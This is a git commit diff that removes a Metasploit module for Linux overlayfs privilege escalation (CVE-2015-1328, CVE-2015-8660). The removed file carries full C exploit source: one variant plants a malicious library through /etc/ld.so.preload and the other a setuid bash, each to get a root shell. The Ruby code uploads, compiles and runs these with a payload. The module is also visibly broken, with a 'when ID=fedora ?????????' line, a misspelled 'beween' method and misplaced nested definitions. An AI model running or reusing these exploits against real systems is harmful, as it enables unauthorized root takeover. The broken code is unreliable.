added wrong file
parent
2c4a069e32
commit
7e6facd87f
|
@ -1,432 +0,0 @@
|
||||||
##
|
|
||||||
# This module requires Metasploit: http://metasploit.com/download
|
|
||||||
# Current source: https://github.com/rapid7/metasploit-framework
|
|
||||||
##
|
|
||||||
|
|
||||||
require "msf/core"
|
|
||||||
|
|
||||||
class MetasploitModule < Msf::Exploit::Local
|
|
||||||
Rank = GoodRanking
|
|
||||||
|
|
||||||
include Msf::Post::File
|
|
||||||
include Msf::Exploit::EXE
|
|
||||||
include Msf::Exploit::FileDropper
|
|
||||||
|
|
||||||
def initialize(info = {})
|
|
||||||
super(update_info(info,
|
|
||||||
'Name' => 'Linux Kernel 3.19 and 4.33 Overlayfs Privilege Escalation',
|
|
||||||
'Description' => %q{
|
|
||||||
This module attempts to exploit an overlayfs incorrect permission handling bug on via two CVEs.
|
|
||||||
CVE-2015-1328: Ubuntu specific -> 3.13.0-24 (14.04 default) < 3.13.0-55
|
|
||||||
3.16.0-25 (14.10 default) < 3.16.0-41
|
|
||||||
3.19.0-18 (15.04 default) < 3.19.0-21
|
|
||||||
CVE-2015-8660:
|
|
||||||
Ubuntu:
|
|
||||||
3.19.0-18 < 3.19.0-43
|
|
||||||
4.2.0-18 < 4.2.0-23 (14.04.1, 15.10)
|
|
||||||
Fedora:
|
|
||||||
< 4.2.8
|
|
||||||
Red Hat:
|
|
||||||
< 3.10.0-327 (rhel 6)
|
|
||||||
|
|
||||||
Linux Kernels from 3.13.0-24 (default) < 3.19.0-20 and <= 4.3.3 through two different methods/CVEs.
|
|
||||||
|
|
||||||
Originally attempted to use metasm, but it was failsauce.
|
|
||||||
[-] Metasm Encoding failed: ')' expected after Expression[0] got #<Metasm::Preprocessor::Token:0x000000100873d8 @backtrace=["\"<unk>\"", 3, "</usr/include/stdio.h>", 29, "</usr/include/features.h>", 365, "</usr/include/sys/cdefs.h>", 393], @value=nil, @raw="?", @type=:punct> near "(" at "</usr/include/sys/cdefs.h>" line 393,
|
|
||||||
included from "</usr/include/features.h>" line 365,
|
|
||||||
included from "</usr/include/stdio.h>" line 29,
|
|
||||||
included from "\"<unk>\"" line 3
|
|
||||||
},
|
|
||||||
'License' => MSF_LICENSE,
|
|
||||||
'Author' =>
|
|
||||||
[
|
|
||||||
'h00die <mike@shorebreaksecurity.com>', # Module
|
|
||||||
'rebel' # Discovery
|
|
||||||
],
|
|
||||||
'DisclosureDate' => 'Jun 16 2015',
|
|
||||||
'Platform' => [ 'linux'],
|
|
||||||
'Arch' => [ ARCH_X86, ARCH_X86_64 ],
|
|
||||||
'SessionTypes' => [ 'shell', 'meterpreter' ],
|
|
||||||
'Targets' =>
|
|
||||||
[
|
|
||||||
[ 'CVE-2015-1328', { } ],
|
|
||||||
[ 'CVE-2015-8660', { } ]
|
|
||||||
],
|
|
||||||
'DefaultTarget' => 1,
|
|
||||||
'References' =>
|
|
||||||
[
|
|
||||||
[ 'EDB', '39166'], # CVE-2015-8660
|
|
||||||
[ 'EDB', '37292'], # CVE-2015-1328
|
|
||||||
[ 'CVE', '2015-1328'],
|
|
||||||
[ 'CVE', '2015-8660']
|
|
||||||
]
|
|
||||||
))
|
|
||||||
register_options(
|
|
||||||
[
|
|
||||||
OptString.new('WritableDir', [ true, 'A directory where we can write files (must not be mounted noexec)', '/tmp' ]),
|
|
||||||
OptEnum.new('COMPILE', [ true, 'Compile on target', 'Auto', ['Auto', 'True', 'False']])
|
|
||||||
], self.class)
|
|
||||||
end
|
|
||||||
|
|
||||||
def check
|
|
||||||
def mounts_exist?()
|
|
||||||
vprint_status('Checking if mount points exist')
|
|
||||||
if target.name == 'CVE-2015-1328'
|
|
||||||
if not directory?('/tmp/ns_sploit')
|
|
||||||
vprint_good('/tmp/ns_sploit not created')
|
|
||||||
return true
|
|
||||||
else
|
|
||||||
print_error('/tmp/ns_sploit directory exists. Please delete.')
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
elsif target.name == 'CVE-2015-8660'
|
|
||||||
if not directory?('/tmp/haxhax')
|
|
||||||
vprint_good('/tmp/haxhax not created')
|
|
||||||
return true
|
|
||||||
else
|
|
||||||
print_error('/tmp/haxhax directory exists. Please delete.')
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def kernel_vuln?()
|
|
||||||
kernel = Gem::Version.new(cmd_exec('/bin/uname -r'))
|
|
||||||
os_id = cmd_exec('grep ^ID= /etc/os-release')
|
|
||||||
case os_id
|
|
||||||
when 'ID=ubuntu'
|
|
||||||
case kernel.release.to_s
|
|
||||||
when '3.13.0'
|
|
||||||
if kernel.beween(Gem::Version.new('3.13.0-24-generic'),Gem::Version.new('3.13.0-54-generic'))
|
|
||||||
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
|
|
||||||
return true
|
|
||||||
else
|
|
||||||
print_error("Kernel #{kernel} is NOT vulnerable")
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
when '3.16.0'
|
|
||||||
if kernel.beween(Gem::Version.new('3.16.0-25-generic'),Gem::Version.new('3.16.0-40-generic'))
|
|
||||||
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
|
|
||||||
return true
|
|
||||||
else
|
|
||||||
print_error("Kernel #{kernel} is NOT vulnerable")
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
when '3.19.0'
|
|
||||||
if kernel.beween(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-20-generic'))
|
|
||||||
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-1328")
|
|
||||||
return true
|
|
||||||
elsif kernel.beween(Gem::Version.new('3.19.0-18-generic'),Gem::Version.new('3.19.0-42-generic'))
|
|
||||||
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
|
|
||||||
return true
|
|
||||||
else
|
|
||||||
print_error("Kernel #{kernel} is NOT vulnerable")
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
when '4.2.0'
|
|
||||||
if kernel.beween(Gem::Version.new('4.2.0-18-generic'),Gem::Version.new('4.2.0-22-generic'))
|
|
||||||
vprint_good("Kernel #{kernel} is vulnerable to CVE-2015-8660")
|
|
||||||
return true
|
|
||||||
else
|
|
||||||
print_error("Kernel #{kernel} is NOT vulnerable")
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
else
|
|
||||||
print_error("Non-vuln kernel #{kernel}")
|
|
||||||
return false
|
|
||||||
end
|
|
||||||
when 'ID=fedora' ?????????
|
|
||||||
else
|
|
||||||
print_error("Unknown OS: #{os_id}")
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if mounts_exist?() && kernel_vuln?()
|
|
||||||
return CheckCode::Appears
|
|
||||||
else
|
|
||||||
return CheckCode::Safe
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
def exploit
|
|
||||||
|
|
||||||
if check != CheckCode::Appears
|
|
||||||
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
|
|
||||||
# Exploit Title: ofs.c - overlayfs local root in ubuntu
|
|
||||||
# Date: 2015-06-15
|
|
||||||
# Exploit Author: rebel
|
|
||||||
# Version: Ubuntu 12.04, 14.04, 14.10, 15.04 (Kernels before 2015-06-15)
|
|
||||||
# Tested on: Ubuntu 12.04, 14.04, 14.10, 15.04
|
|
||||||
# CVE : CVE-2015-1328 (http://people.canonical.com/~ubuntu-security/cve/2015/CVE-2015-1328.html)
|
|
||||||
|
|
||||||
cve_2015_1328 = %q{
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <sched.h>
|
|
||||||
#include <sys/stat.h>
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <sys/mount.h>
|
|
||||||
#include <signal.h>
|
|
||||||
#include <fcntl.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <linux/sched.h>
|
|
||||||
|
|
||||||
#define LIB "#include <unistd.h>\n\nuid_t(*_real_getuid) (void);\nchar path[128];\n\nuid_t\ngetuid(void)\n{\n_real_getuid = (uid_t(*)(void)) dlsym((void *) -1, \"getuid\");\nreadlink(\"/proc/self/exe\", (char *) &path, 128);\nif(geteuid() == 0 && !strcmp(path, \"/bin/su\")) {\nunlink(\"/etc/ld.so.preload\");unlink(\"/tmp/ofs-lib.so\");\nsetresuid(0, 0, 0);\nsetresgid(0, 0, 0);\nexecle(\"/bin/sh\", \"sh\", \"-i\", NULL, NULL);\n}\n return _real_getuid();\n}\n"
|
|
||||||
|
|
||||||
static char child_stack[1024*1024];
|
|
||||||
|
|
||||||
static int
|
|
||||||
child_exec(void *stuff)
|
|
||||||
{
|
|
||||||
char *file;
|
|
||||||
system("rm -rf /tmp/ns_sploit");
|
|
||||||
mkdir("/tmp/ns_sploit", 0777);
|
|
||||||
mkdir("/tmp/ns_sploit/work", 0777);
|
|
||||||
mkdir("/tmp/ns_sploit/upper",0777);
|
|
||||||
mkdir("/tmp/ns_sploit/o",0777);
|
|
||||||
|
|
||||||
fprintf(stderr,"mount #1\n");
|
|
||||||
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/proc/sys/kernel,upperdir=/tmp/ns_sploit/upper") != 0) {
|
|
||||||
// workdir= and "overlay" is needed on newer kernels, also can't use /proc as lower
|
|
||||||
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/sys/kernel/security/apparmor,upperdir=/tmp/ns_sploit/upper,workdir=/tmp/ns_sploit/work") != 0) {
|
|
||||||
fprintf(stderr, "no FS_USERNS_MOUNT for overlayfs on this kernel\n");
|
|
||||||
exit(-1);
|
|
||||||
}
|
|
||||||
file = ".access";
|
|
||||||
chmod("/tmp/ns_sploit/work/work",0777);
|
|
||||||
} else file = "ns_last_pid";
|
|
||||||
|
|
||||||
chdir("/tmp/ns_sploit/o");
|
|
||||||
rename(file,"ld.so.preload");
|
|
||||||
|
|
||||||
chdir("/");
|
|
||||||
umount("/tmp/ns_sploit/o");
|
|
||||||
fprintf(stderr,"mount #2\n");
|
|
||||||
if (mount("overlay", "/tmp/ns_sploit/o", "overlayfs", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc") != 0) {
|
|
||||||
if (mount("overlay", "/tmp/ns_sploit/o", "overlay", MS_MGC_VAL, "lowerdir=/tmp/ns_sploit/upper,upperdir=/etc,workdir=/tmp/ns_sploit/work") != 0) {
|
|
||||||
exit(-1);
|
|
||||||
}
|
|
||||||
chmod("/tmp/ns_sploit/work/work",0777);
|
|
||||||
}
|
|
||||||
|
|
||||||
chmod("/tmp/ns_sploit/o/ld.so.preload",0777);
|
|
||||||
umount("/tmp/ns_sploit/o");
|
|
||||||
}
|
|
||||||
|
|
||||||
int
|
|
||||||
main(int argc, char **argv)
|
|
||||||
{
|
|
||||||
int status, fd, lib;
|
|
||||||
pid_t wrapper, init;
|
|
||||||
int clone_flags = CLONE_NEWNS | SIGCHLD;
|
|
||||||
|
|
||||||
fprintf(stderr,"spawning threads\n");
|
|
||||||
|
|
||||||
if((wrapper = fork()) == 0) {
|
|
||||||
if(unshare(CLONE_NEWUSER) != 0)
|
|
||||||
fprintf(stderr, "failed to create new user namespace\n");
|
|
||||||
|
|
||||||
if((init = fork()) == 0) {
|
|
||||||
pid_t pid =
|
|
||||||
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
|
|
||||||
if(pid < 0) {
|
|
||||||
fprintf(stderr, "failed to create new mount namespace\n");
|
|
||||||
exit(-1);
|
|
||||||
}
|
|
||||||
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
waitpid(init, &status, 0);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
usleep(300000);
|
|
||||||
|
|
||||||
wait(NULL);
|
|
||||||
|
|
||||||
fprintf(stderr,"child threads done\n");
|
|
||||||
|
|
||||||
fd = open("/etc/ld.so.preload",O_WRONLY);
|
|
||||||
|
|
||||||
if(fd == -1) {
|
|
||||||
fprintf(stderr,"exploit failed\n");
|
|
||||||
exit(-1);
|
|
||||||
}
|
|
||||||
|
|
||||||
fprintf(stderr,"/etc/ld.so.preload created\n");
|
|
||||||
fprintf(stderr,"creating shared library\n");
|
|
||||||
lib = open("/tmp/ofs-lib.c",O_CREAT|O_WRONLY,0777);
|
|
||||||
write(lib,LIB,strlen(LIB));
|
|
||||||
close(lib);
|
|
||||||
lib = system("gcc -fPIC -shared -o /tmp/ofs-lib.so /tmp/ofs-lib.c -ldl -w");
|
|
||||||
if(lib != 0) {
|
|
||||||
fprintf(stderr,"couldn't create dynamic library\n");
|
|
||||||
exit(-1);
|
|
||||||
}
|
|
||||||
write(fd,"/tmp/ofs-lib.so\n",16);
|
|
||||||
close(fd);
|
|
||||||
system("rm -rf /tmp/ns_sploit /tmp/ofs-lib.c");
|
|
||||||
execl("/bin/su","su",NULL);
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
# direct copy of code from exploit-db. There were a bunch of ducplicate header includes I removed, and a lot of the comment title area just to cut down on size
|
|
||||||
# Exploit Title: overlayfs local root
|
|
||||||
# Date: 2016-01-05
|
|
||||||
# Exploit Author: rebel
|
|
||||||
# Version: Ubuntu 14.04 LTS, 15.10 and more
|
|
||||||
# Tested on: Ubuntu 14.04 LTS, 15.10
|
|
||||||
# CVE : CVE-2015-8660
|
|
||||||
cve_2015_8660 = %q{
|
|
||||||
#include <stdio.h>
|
|
||||||
#include <sched.h>
|
|
||||||
#include <stdlib.h>
|
|
||||||
#include <unistd.h>
|
|
||||||
#include <sched.h>
|
|
||||||
#include <sys/stat.h>
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <sys/mount.h>
|
|
||||||
#include <sys/types.h>
|
|
||||||
#include <signal.h>
|
|
||||||
#include <fcntl.h>
|
|
||||||
#include <string.h>
|
|
||||||
#include <linux/sched.h>
|
|
||||||
#include <sys/wait.h>
|
|
||||||
|
|
||||||
static char child_stack[1024*1024];
|
|
||||||
|
|
||||||
static int
|
|
||||||
child_exec(void *stuff)
|
|
||||||
{
|
|
||||||
system("rm -rf /tmp/haxhax");
|
|
||||||
mkdir("/tmp/haxhax", 0777);
|
|
||||||
mkdir("/tmp/haxhax/w", 0777);
|
|
||||||
mkdir("/tmp/haxhax/u",0777);
|
|
||||||
mkdir("/tmp/haxhax/o",0777);
|
|
||||||
|
|
||||||
if (mount("overlay", "/tmp/haxhax/o", "overlay", MS_MGC_VAL, "lowerdir=/bin,upperdir=/tmp/haxhax/u,workdir=/tmp/haxhax/w") != 0) {
|
|
||||||
fprintf(stderr,"mount failed..\n");
|
|
||||||
}
|
|
||||||
|
|
||||||
chmod("/tmp/haxhax/w/work",0777);
|
|
||||||
chdir("/tmp/haxhax/o");
|
|
||||||
chmod("bash",04755);
|
|
||||||
chdir("/");
|
|
||||||
umount("/tmp/haxhax/o");
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
int
|
|
||||||
main(int argc, char **argv)
|
|
||||||
{
|
|
||||||
int status;
|
|
||||||
pid_t wrapper, init;
|
|
||||||
int clone_flags = CLONE_NEWNS | SIGCHLD;
|
|
||||||
struct stat s;
|
|
||||||
|
|
||||||
if((wrapper = fork()) == 0) {
|
|
||||||
if(unshare(CLONE_NEWUSER) != 0)
|
|
||||||
fprintf(stderr, "failed to create new user namespace\n");
|
|
||||||
|
|
||||||
if((init = fork()) == 0) {
|
|
||||||
pid_t pid =
|
|
||||||
clone(child_exec, child_stack + (1024*1024), clone_flags, NULL);
|
|
||||||
if(pid < 0) {
|
|
||||||
fprintf(stderr, "failed to create new mount namespace\n");
|
|
||||||
exit(-1);
|
|
||||||
}
|
|
||||||
|
|
||||||
waitpid(pid, &status, 0);
|
|
||||||
|
|
||||||
}
|
|
||||||
|
|
||||||
waitpid(init, &status, 0);
|
|
||||||
return 0;
|
|
||||||
}
|
|
||||||
|
|
||||||
usleep(300000);
|
|
||||||
|
|
||||||
wait(NULL);
|
|
||||||
|
|
||||||
stat("/tmp/haxhax/u/bash",&s);
|
|
||||||
|
|
||||||
if(s.st_mode == 0x89ed)
|
|
||||||
execl("/tmp/haxhax/u/bash","bash","-p","-c","rm -rf /tmp/haxhax;python -c \"import os;os.setresuid(0,0,0);os.execl('/bin/bash','bash');\"",NULL);
|
|
||||||
|
|
||||||
fprintf(stderr,"couldn't create suid :(\n");
|
|
||||||
return -1;
|
|
||||||
}
|
|
||||||
}
|
|
||||||
|
|
||||||
filename = rand_text_alphanumeric(8)
|
|
||||||
executable_path = "#{datastore['WritableDir']}/#{filename}"
|
|
||||||
payloadname = rand_text_alphanumeric(8)
|
|
||||||
payload_path = "#{datastore['WritableDir']}/#{payloadname}"
|
|
||||||
|
|
||||||
def has_prereqs?()
|
|
||||||
gcc = cmd_exec('which gcc')
|
|
||||||
if gcc.include?('gcc')
|
|
||||||
vprint_good('gcc is installed')
|
|
||||||
else
|
|
||||||
print_error('gcc is not installed. Compiling will fail.')
|
|
||||||
end
|
|
||||||
return gcc.include?('gcc')
|
|
||||||
end
|
|
||||||
|
|
||||||
compile = false
|
|
||||||
if datastore['COMPILE'] == 'Auto' || datastore['COMPILE'] == 'True'
|
|
||||||
if has_prereqs?()
|
|
||||||
compile = true
|
|
||||||
vprint_status('Live compiling exploit on system')
|
|
||||||
else
|
|
||||||
vprint_status('Dropping pre-compiled exploit on system')
|
|
||||||
end
|
|
||||||
end
|
|
||||||
if check != CheckCode::Appears
|
|
||||||
fail_with(Failure::NotVulnerable, 'Target not vulnerable! punt!')
|
|
||||||
end
|
|
||||||
|
|
||||||
def upload_and_chmod(fname,fcontent)
|
|
||||||
print_status "Writing to #{fname} (#{fcontent.size} bytes)"
|
|
||||||
rm_f fname
|
|
||||||
write_file(fname, fcontent)
|
|
||||||
cmd_exec("chmod +x #{fname}")
|
|
||||||
#register_file_for_cleanup(fname)
|
|
||||||
end
|
|
||||||
|
|
||||||
def on_new_session(session)
|
|
||||||
super
|
|
||||||
if target.name == 'CVE-2015-1328'
|
|
||||||
session.shell_command("/bin/su") #this doesnt work on meterpreter?????
|
|
||||||
end
|
|
||||||
end
|
|
||||||
|
|
||||||
if compile
|
|
||||||
if target.name == 'CVE-2015-1328'
|
|
||||||
cve_2015_1328.gsub!(/execl\("\/bin\/su","su",NULL\);/,
|
|
||||||
"execl(\"#{payload_path}\",\"#{payloadname}\",NULL);")
|
|
||||||
upload_and_chmod("#{executable_path}.c", cve_2015_1328)
|
|
||||||
else
|
|
||||||
cve_2015_8660.gsub!(/os.execl\('\/bin\/bash','bash'\)/,
|
|
||||||
"os.execl('#{payload_path}','#{payloadname}')")
|
|
||||||
upload_and_chmod("#{executable_path}.c", cve_2015_8660)
|
|
||||||
end
|
|
||||||
vprint_status("Compiling #{executable_path}.c")
|
|
||||||
cmd_exec("gcc -o #{executable_path} #{executable_path}.c") #compile
|
|
||||||
end
|
|
||||||
|
|
||||||
#upload_and_chmod(executable_path, elf)
|
|
||||||
upload_and_chmod(payload_path, generate_payload_exe)
|
|
||||||
vprint_status('Exploiting...')
|
|
||||||
output = cmd_exec(executable_path)
|
|
||||||
output.each_line { |line| vprint_status(line.chomp) }
|
|
||||||
#register_file_for_cleanup(executable_path)
|
|
||||||
end
|
|
||||||
end
|
|
Loading…
Reference in New Issue